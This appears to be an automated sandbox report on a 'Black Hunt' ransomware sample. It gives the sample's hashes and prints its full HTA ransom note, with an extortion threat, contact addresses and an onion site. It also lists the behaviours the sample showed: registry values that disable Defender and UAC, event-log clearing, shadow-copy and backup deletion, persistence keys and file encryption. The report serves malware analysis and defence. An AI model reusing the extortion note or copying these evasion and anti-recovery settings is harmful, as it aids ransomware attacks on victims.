3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
18-01-2024 23:08

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General

Target

3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
Size

707KB
MD5

e03374a5848dddee90e26158afcb89b6
SHA1

530e00226265656c42b4dad18ac3c9796cf3ac25
SHA256

3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e
SHA512

6b0cbf30b52a6ab16d4a4317946332a04a4b97d7e95628e32db4ce41418ba01fbae32360c90f3569b84976473902f86aa70aa721448decf90c71985657ca8ae5
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1F8kvnh:6uaTmkZJ+naie5OTamgEoKxLWQah

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1Ii8+IDxwaG90b3Nob3A6VGV4dExheWVycz4gPHJkZjpCYWc+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iSHVudCAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJIdW50ICAiLz4gPHJkZjpsaSBwaG90b3Nob3A6TGF5ZXJOYW1lPSJCbGFjayAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJCbGFjayAgIi8+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iMi4wIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSIyLjAiLz4gPC9yZGY6QmFnPiA8L3Bob3Rvc2hvcDpUZXh0TGF5ZXJzPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PvFKMOAAAAS2SURBVGje7Vq/ixNBFM55vQRtLLe2itoEbPIHpEghB4LBdFaB9Gm2sNhCIU0qm1x/RSz0EEHWw8LikFRBQXERUWOVSrSQdVbeHO++vPd2ci4BuQx83LGz82Pnfe+9b2ZSy/O8tsUWBc7Xx54uLYdvDt8dFhWj6Pfzf4KvDq+F9fmnMnCIGaLaBgp9RIxjB5ChmG++xV88l8jQEBbWY0D1ql0A9dpmSl0aO4AMj7YkOMFDiQxxQMOZQIoWvJPVNldWxg5IE7sOr7YkOMEdiQxpYOMleD6G3OkGyYAEngaQ4YrDF94u293NF4Tif17XdFiw+qMLFzZusGRnJx8Tug4V9v2rcG6JDEshCqTC85w80pcJ1MVGSG+dQU/4dlKamuLYAWS46fA71Nh9t/i8flytMUrRhvErJsMHh0tIhkh4kRtjaZBhZtR5LYJRZ0Tg0QZLT+g7o+e+ZDg2fVhDmPOI2txbx9hjqO9vmAz7jpx8/Kja/p8yIX5SOkJUsMgQBYrHnhJZECmMV5ayIk08KkSYsP5H1mKj5x1BfZORqKjzGFK7JrXx2GeRhj9vU9jPICp5Yw+pf17v3/HtKyDDA4kMsWCcFpEkVTysTDw2AomAqWVW8m7PGLsuRIsJ+9gdhxeWsdHzND2hkUiLNF14jkb2SOj9A+gfUVGE2JPIkJ7BaGXiMRWEZ0fI8zk913Y0MRl+AilCIjASaQaa4bLDR/7OQvE8D153CF4uGUdLKwk81+DJc2yQYQ4i94z46XBDIkNoKEc9oInHhtC+YaSWSJlHbAjLacA2uA5kuEYKWhRnoYZCEnHjaCRBTy8iQ5EK0Oh8DGzTrlavvPUpnZMhUrwxViJGI0A8xoYGaQgRQwr7ZYdXWdn2V9hN3OXvDdckg08FSCIeMTKFJMeBkWTIDD6H8SsWp0/gJFcUjyks+sjwVs14qdGmp4wXl8yj7ORxhbQCGRJLPBaeOGZ7+rmSp4eKLsBtKieJtn09VLw/WuN8oyBpkYaaQl1EKaoA6IxEIkNsCESpPg4QjxYZNHKtQ4ZWABkmAhmeWeIR+9BSwYEiHoeB4pHvMDTv7waeb3AyoZaIICIdnybUnkSGVFHrPoVgOB4o4jE1yDAytERH6Y+fdDYgZcTKLmOp3VNQ+/easWGhzFSAJCq8rg/bRE6SREkFlvePDQLhPIc0NpLBj8ujHEWHHw7XJTJoJ49ZyVF0bGz7UkWA5oZ4lIiSMV0yNcTjiD4Io86AkeEqLYLoeQew2OjlCfPMo5JtH6YVLRX0DYOPBT1T9COdQPq5Yp0ft8nmTHOaO1xEMkRrio5eiXfGa14RL9e8H+kEnDyKF1eu3JK8RjK2lQpCycC9VEsF1ummJm4xQnjdM6eIE9HcI/YN+3R4xeb0WPgpwIp41DANuK3kZKgrh0cTMHgqCMOZQZxO2bW1QJQO+91DkLEl9W8dYftQzI3r04qVCrTTTW2OIakkoZTRpksthWz3JTJEZFQLZVfIIzJyDISpU4RI2cGR995WyaVVj/pN6W+Ppac6zhGEIn5TRM9fVrk1a1Kq6a6q9MovqroM2hy6bDfRFN4Bot1eIcM5+9nbG4dPW9TekX46v2TYwsYf/4cvUeVs4qUAAAAASUVORK5CYII= " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 8idjySRGhmLLrihU </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1760	fsutil.exe
3440	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
4728	wevtutil.exe
5016	wevtutil.exe
4708	wevtutil.exe
5088	wevtutil.exe
5028	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2960	bcdedit.exe
3068	bcdedit.exe
3368	bcdedit.exe
1544	bcdedit.exe

Renames multiple (2875) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2100	wbadmin.exe
3236	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3612	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\S:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\Z:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\E:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\I:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\G:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\M:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\W:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\R:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\U:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\P:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\Y:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\V:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\J:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\Q:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\T:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\O:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\L:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\N:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\A:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\H:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\K:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\X:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\B:	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.core.nl_zh_4.4.0.v20140623020002.jar	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-favorites.xml	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-swing-outline.xml	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_Private.key	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#BlackHunt_ReadMe.hta	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\#BlackHunt_ReadMe.hta	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\#BlackHunt_Private.key	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_Private.key	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\cursors.properties	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-spi-actions.jar	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\#BlackHunt_ReadMe.hta	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\CET	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tet\#BlackHunt_ReadMe.hta	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\vlc.mo	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\PDXFile_8.ico	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gl.txt	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-editor-mimelookup-impl.jar	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rcp.intro.zh_CN_5.5.0.165303.jar	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.observable_1.4.1.v20140210-1835.jar	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\#BlackHunt_Private.key	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\#BlackHunt_ReadMe.txt	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Hermosillo	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
